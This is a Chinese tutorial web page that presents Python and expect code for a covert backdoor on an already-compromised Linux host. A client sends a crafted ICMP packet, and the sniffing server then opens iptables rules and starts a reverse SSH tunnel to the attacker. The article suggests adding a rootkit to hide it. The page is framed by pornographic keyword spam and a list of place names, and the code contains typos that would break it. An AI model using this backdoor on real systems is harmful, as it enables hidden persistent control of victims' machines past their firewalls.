最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

用Python編寫一個(gè)簡(jiǎn)單的CS架構(gòu)后門的方法

 更新時(shí)間:2018年11月20日 11:53:16   作者:吃面包的科學(xué)怪人  
今天小編就為大家分享一篇關(guān)于用Python編寫一個(gè)簡(jiǎn)單的CS架構(gòu)后門的方法,小編覺(jué)得內(nèi)容挺不錯(cuò)的,現(xiàn)在分享給大家,具有很好的參考價(jià)值,需要的朋友一起跟隨小編來(lái)看看吧

0x00:事先說(shuō)明

  • 你已經(jīng)攻陷了對(duì)方主機(jī)且獲得了最高權(quán)限。
  • 對(duì)方的本地防火墻會(huì)丟棄所有的外來(lái)數(shù)據(jù)包。
  • 這個(gè)后門不會(huì)僅綁定在某一個(gè)端口上。
  • 這段代碼很容易寫,畢竟是 Python(準(zhǔn)確說(shuō)是 Python 2.x)。

0x01:工作原理

如你所見(jiàn),客戶端將偽造具有 ICMP 負(fù)載的特定數(shù)據(jù)包,另一方面在服務(wù)端,也就是我們的被攻擊主機(jī),將會(huì)接受我們發(fā)送的數(shù)據(jù)包,即使它開(kāi)啟了本地的防火墻(丟棄所有外來(lái)數(shù)據(jù)包)。關(guān)鍵在于無(wú)線網(wǎng)卡的監(jiān)聽(tīng)模式,它無(wú)需和 AP 建立連接卻可以和接受所有流經(jīng)空氣的數(shù)據(jù)包。

我們會(huì)用到一個(gè)有用的第三方包 Scapy。這是它的官方文檔。如果你是第一次使用,不妨參考這篇文章,也許會(huì)有幫助。

0x02:客戶端代碼

'''
客戶端代碼。將服務(wù)端的 IP 地址、客戶端的 IP 地址、客戶端的連接端口,以及連接所需密碼作為程序輸入。如果成功返回一個(gè)交互式后門,在代碼硬編碼好的位置寫入日志文件信息。
'''
#! /usr/bin/env python
import logging
import socket
from scapy.all import *
import os
import os.path
import sys
import time
logging.getLongger("scapy.runtime").setLevel(loggin.ERROR)
file_result = "/tmp/done"
if len(sys.argv) != 5:
 print "usage : " + " IP_SERVER " + " CLIENT_IP " + " PORT_SSH_CLIENT " + “ PASSWORD_CLIENT ”
 sys.exit(1)
server = sys.argv[1]
if os.path.isfile(file_result):
 os.remove(file_result)
load = sys.argv[2] + "|" + sys.argv[3] + "|" + sys.argv[4]
pingr = IP(dst = server) / ICMP() / load
send(pingr, verbose = 0) # send() 函數(shù)工作在協(xié)議棧的第三層(網(wǎng)絡(luò)層)

0x04:服務(wù)端代碼

服務(wù)端代碼分為兩塊:1. 主要腳本部分、2. ssh 隧道部分。

'''
服務(wù)端代碼之主要腳本部分。這個(gè)腳本會(huì)監(jiān)聽(tīng) ICMP 數(shù)據(jù)包并從句法上分析其攜帶的數(shù)據(jù)部分(客戶端 IP 地址、客戶端連接端口、連接所需密碼)。接著在本地打開(kāi)兩個(gè)新的防火墻規(guī)則。最后調(diào)用另一個(gè) expect 腳本,以建立和客戶端之間穩(wěn)定的 ssh 連接。
'''
#! /usr/bin/env python
import logging
import socket
from scapy.all import *
import re
import subprocess # py2.4 新增模塊,允許用戶編寫代碼生成新進(jìn)程,連接到它們的 input/output/error 管道,并獲取它們的返回/狀態(tài)碼。
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
def icmp_monitor_callback(pkt):
 reg = re.compile("(.*)\|(.*)\|(.*)")
 g = reg.match(pkt.load)
 if g:
 subprocess.Popen(["/sbin/iptables", "-I", "INPUT", "1","-s",g.group(1),'-j','ACCEPT'])
 subprocess.Popen(["/sbin/iptables", "-I", "OUTPUT", "1","-d",g.group(1),'-j','ACCEPT'])
 p=subprocess.call(["/root/sshtunnel.sh", g.group(1),g.group(2),g.group(3)])
 return
sniff(prn=icmp_monitor_callback, filter="icmp", store=0) # scapy.sniff() 函數(shù)會(huì)嗅探來(lái)自空氣中的數(shù)據(jù)包,prn 參數(shù)用來(lái)指定回調(diào)函數(shù),每當(dāng)符合 filter 的報(bào)文被探測(cè)到時(shí),就會(huì)執(zhí)行回調(diào)函數(shù)。有關(guān)該函數(shù)的詳細(xì)信息,可以參考這篇博客:https://thepacketgeek.com/scapy-sniffing-with-custom-actions-part-1/
'''
服務(wù)端代碼之 ssh 隧道部分,實(shí)際上是一個(gè)簡(jiǎn)單的 expect 腳本。接受嗅探到的客戶端 IP 地址、客戶端端口,以及用于連接的密碼作為輸入。
'''
#!/usr/bin/expect -f
set ip [lindex $argv 0];
set port [lindex $argv 1];
set password [lindex $argv 2];
spawn ssh -o StrictHostKeyChecking=no -R 19999:localhost:$port $ip
expect "*?assword:*"
send "$password\r"
expect "*#"
send "touch /tmp/done\r"
interact

0x05:文末思考

上面完成的后門代碼待完善的地方。

  • ICMP payload 應(yīng)該被編碼。
  • 添加其他的協(xié)議用來(lái)喚醒該后門(如 http、特定的 syn 包、dns 等)。
  • 寫一個(gè) rootkit,隱藏該后門,猥瑣欲為。此乃后話。

有關(guān) rootkit 的延伸閱讀。

總結(jié)

以上就是這篇文章的全部?jī)?nèi)容了,希望本文的內(nèi)容對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,謝謝大家對(duì)腳本之家的支持。如果你想了解更多相關(guān)內(nèi)容請(qǐng)查看下面相關(guān)鏈接

相關(guān)文章

  • Python3學(xué)習(xí)筆記之列表方法示例詳解

    Python3學(xué)習(xí)筆記之列表方法示例詳解

    Python3 列表 序列是Python中最基本的數(shù)據(jù)結(jié)構(gòu),下面這篇文章主要給大家介紹了關(guān)于Python3學(xué)習(xí)筆記之列表方法的相關(guān)資料,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下。
    2017-10-10
  • PyQT5實(shí)現(xiàn)選項(xiàng)卡窗口、堆棧窗口、??看翱?、子窗口

    PyQT5實(shí)現(xiàn)選項(xiàng)卡窗口、堆棧窗口、停靠窗口、子窗口

    這篇文章主要介紹了PyQT5實(shí)現(xiàn)選項(xiàng)卡窗口、堆棧窗口、??看翱?、子窗口,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2021-04-04
  • sklearn中的交叉驗(yàn)證的實(shí)現(xiàn)(Cross-Validation)

    sklearn中的交叉驗(yàn)證的實(shí)現(xiàn)(Cross-Validation)

    這篇文章主要介紹了sklearn中的交叉驗(yàn)證的實(shí)現(xiàn)(Cross-Validation),文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2021-02-02
  • python利用itertools生成密碼字典并多線程撞庫(kù)破解rar密碼

    python利用itertools生成密碼字典并多線程撞庫(kù)破解rar密碼

    這篇文章主要介紹了python利用itertools生成密碼字典并多線程撞庫(kù)破解rar密碼,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2019-08-08
  • python shell根據(jù)ip獲取主機(jī)名代碼示例

    python shell根據(jù)ip獲取主機(jī)名代碼示例

    這篇文章主要介紹了python shell根據(jù)ip獲取主機(jī)名代碼示例,涉及用socket模塊和shell中hostname命令獲取等相關(guān)內(nèi)容,具有一定參考價(jià)值,需要的朋友可以了解下。
    2017-11-11
  • Pytorch BertModel的使用說(shuō)明

    Pytorch BertModel的使用說(shuō)明

    這篇文章主要介紹了Pytorch BertModel的使用說(shuō)明,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧
    2021-03-03
  • python實(shí)現(xiàn)類似Netty功能的異步編程

    python實(shí)現(xiàn)類似Netty功能的異步編程

    本文將介紹如何使用Python來(lái)實(shí)現(xiàn)本文將介紹如何使用Python來(lái)實(shí)現(xiàn)類似于Netty的功能,并提供一些代碼示例來(lái)幫助讀者理解,能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪
    2023-11-11
  • wxpython 學(xué)習(xí)筆記 第一天

    wxpython 學(xué)習(xí)筆記 第一天

    學(xué)習(xí)wxpython的朋友,可以看下,了解下wxpython
    2009-03-03
  • Pandas 中的join函數(shù)應(yīng)用實(shí)現(xiàn)刪除多余的空行

    Pandas 中的join函數(shù)應(yīng)用實(shí)現(xiàn)刪除多余的空行

    這篇文章主要介紹了Pandas 中的join函數(shù)應(yīng)用實(shí)現(xiàn)刪除多余的空行,str.join也就是sequence要連接的元素序列,下面我們來(lái)看看他的作用實(shí)現(xiàn)刪除多余的空行,需要的小伙伴可以參考一下
    2022-02-02
  • python保存大型 .mat 數(shù)據(jù)文件報(bào)錯(cuò)超出 IO 限制的操作

    python保存大型 .mat 數(shù)據(jù)文件報(bào)錯(cuò)超出 IO 限制的操作

    這篇文章主要介紹了python保存大型 .mat 數(shù)據(jù)文件報(bào)錯(cuò)超出 IO 限制的操作,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧
    2021-05-05

最新評(píng)論

楚雄市| 会东县| 德惠市| 河曲县| 久治县| 集安市| 德州市| 忻城县| 建水县| 白河县| 顺平县| 西吉县| 金塔县| 富民县| 油尖旺区| 绍兴市| 鄢陵县| 枝江市| 望江县| 仪征市| 抚顺市| 清水县| 沈丘县| 霍林郭勒市| 兰州市| 金寨县| 石楼县| 台江县| 黄浦区| 称多县| 登封市| 晋宁县| 翼城县| 莱州市| 博野县| 安化县| 时尚| 福鼎市| 云阳县| 班戈县| 城市|